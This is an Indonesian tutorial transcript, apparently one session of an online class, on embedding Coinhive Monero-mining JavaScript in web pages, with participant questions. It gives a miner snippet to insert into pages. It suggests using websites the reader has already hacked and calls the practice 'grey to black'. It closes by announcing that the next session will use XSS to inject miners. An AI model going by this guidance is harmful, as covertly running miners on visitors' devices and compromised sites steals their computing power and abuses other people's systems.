Lanjutan Dari Sesi 3
Jadi, seperti yang sudah disebutkan diatas, berikut ini list pool yang bisa kita gunakan:
- Minergate
- Coinhive
- ZITPool (Membuat service pool sendiri)
Setelah menggunakan pool dari minergate, selanjutnya kita beralih ke coinhive.
@ASK from Sambal Terasi
Sebelumnya maaf .. kalo nambang monero dengan cara diatas menggunakan hp kemungkinan bisa ga ya .. 😅
@ANSWER
bisa.
hang.
Coinhive adalah salah satu website yang menyediakan pool untuk mining. hanya saja, Coinhive hanya support untuk coin XMR (Monero) saja. Akan tetapi kemudahan pengaplikasian tools miningnya, menjadi salah satu kelebihan Coinhive. Untuk memulai, silahkan kalian buka website http://coinhive.com/.
Jika kemarin kita melakukan mining berbasis Desktop (GUI) dan CLI, kali ini kita menambang berbasis web. Untuk pendaftaran caranya seperti biasa.
Sebagai informasi: Mining menggunakan coinhive terdeteksi oleh beberapa anti virus. Mini Assembly kita kali ini hanya sebagai edukasi agar kita dapat mengetahui ciri-ciri website yang terinfeksi atau sengaja dipasangi tools miner.
Jika sudah berhasil mendaftar, langkah selanjutnya kita ke bagian pengaturan "Setting", Lalu kebagian Site & API Keys https://coinhive.com/settings/sites.
Isikan nama website
Jika kalian belum punya website, bisa menggunakan web-web gratisan.
Resiko ditanggung sendiri: Atau dengan memanfaatkan website yang sudah kalian hack
Atau bisa juga dengan memanfaatkan hosting-hosting gratis untuk mengupload halaman web yang akan kita sisipkan tools miner. Beberapa penyedia hosting gratisan yang bisa digunakan:
https://www.awardspace.com/free-hosting/
https://www.freehostia.com/
Atau jika ingin cepat, mungkin bisa dengan memanfaatkan blog-blog seperti Blogspot.
Jika sudah memiliki domain sendiri, langkah selanjutnya adalah men-generate Private dan Public key.
Contoh private dan public key yang sudah digenerate
Lalu klik tombol "SAVE SITE NAMES".
Langkah berikutnya, ke bagian "Documentation" https://coinhive.com/documentation
Dibagian ini terdapat 6 cara untuk menerapkan miner.
Simple Miner UI
Dengan cara ini, kita harus mendapatkan persetujuan dulu dari user yang mengunjungi website kita. Apakah boleh menggunakan resource CPU nya untuk melakukan mining
Sebagai catatan, proses web mining tidak dilakukan di sisi server. Tapi disisi client. Dalam hal ini adalah orang yang mengunjungi website kita. Yarp. Bisa dibilang alternative adsense. Tapi grey to black way :D
2. Captcha
Cara kedua ini agak mirip cara pertama. Tapi lebih acceptable. Captcha miner berfungsi layaknya Captcha / Re-captcha, hanya saja problem yang harus disolved adalah user harus menyelesaikan beberapa TASK, atau dalam hal ini Mining sesaat.
3. HTTP API
Untuk penggunaan cara ke-3 ini, bisa kita terapkan jika web kita menyediakan data yang bisa diakses melalui API Service.
4. Non-Adblocked Version
Cara ke-4 ini lebih deal-dealan. Sebenarnya modenya agak mirip dengan cara pertama.
5.WordPress Plugins
Baru tau kalo ada fitur ini. :D
Belum pernah nyoba, karena bukan WP Coder. :)
6. JavaScript Miner
Nah, cara inilah yang akan kita coba malam ini. Kenapa kita menggunakan cara ini, karena trik-trik penggunaannya yang akan kita bahas nanti lebih 'hacky'. Mudah, karena kita cukup menyisipkan beberapa baris code, dan kita tidak perlu melakukan apapun. done. selesai. udah gitu aja.
Berikut ini contoh script miner yang bisa kita sisipkan di halaman website kita:
<script src="https://authedmine.com/lib/authedmine.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('YOUR_SITE_KEY', {throttle: 0.3});
// Only start on non-mobile devices and if not opted-out
// in the last 14400 seconds (4 hours):
if (!miner.isMobile() && !miner.didOptOut(14400)) {
miner.start();
}
</script>
YOUR_SITE_KEY kalian isi dengan PUBLIC KEY yang sudah digenerate di website coinhive.com tadi.
Disarankan agar hanya menjalankan script ini jika halaman web dibuka menggunakan PC/Laptop/Server. Karena proses mining menggunakan resource CPU yang sangat tinggi. Untuk perangkat mobile tertentu, proses ini bisa mengakibatkan Smartphone/Tablet Hang.
Lalu seperti halnya dengan Minergate pada sesi sebelumnya, kita juga bisa memantau hasil mining kita di menu Dashboard
Ini adalah contoh hasil mining kita, berikut informasi hasil withdrawnya.
@ASK from Marlon
Berarti dgn cara web mining hasilnya di sangat dipengaruhi dari jumlah pengunjung website?
@ANSWER
Benar.
Berikutnya untuk mengetahui apakah miner kita jalan atau tidak, bisa kita lihat dari statistik CPU di laptop kita.
Ini adalah contoh statistic CPU dalam kondisi normal
Dan ini adalah contoh statistik CPU yang mulai melakukan mining
Ke-4 core akan mencapai 100% untuk melakukan proses mining
@ASK from Fikry
Itu yg java bisa kita limit gak biar penggunaan cpu pda client g berat gtu?
@ANSWER
Bisa dibilang sangat teknis. Krn javascript hanya jalan diatas web, sehingga untuk mengakses resource system seperti ini biasanya harus menggunakan cara yang tidak biasa. Triknya adalah dengan menentukan kapan mining harus berjalan. Dengan cara menentukan device yang digunakan oleh user. Jika user mengakses web kita menggunakan laptop/PC maka jalankan mining. Jika user mengakses menggunakan Gadget, maka nonaktifkan
Sebagai contoh, untuk melihat langsung website yang sudah dipasangi miner, kalian bisa mengunjungi website http://miningland.farm
Yarp, klo begitu kita akhiri dulu sesi ke-4 ini. Sesi berikutnya adalah lanjutan tentang sesi ini.
Memanfaatkan XSS Untuk Menyisipkan Script Miner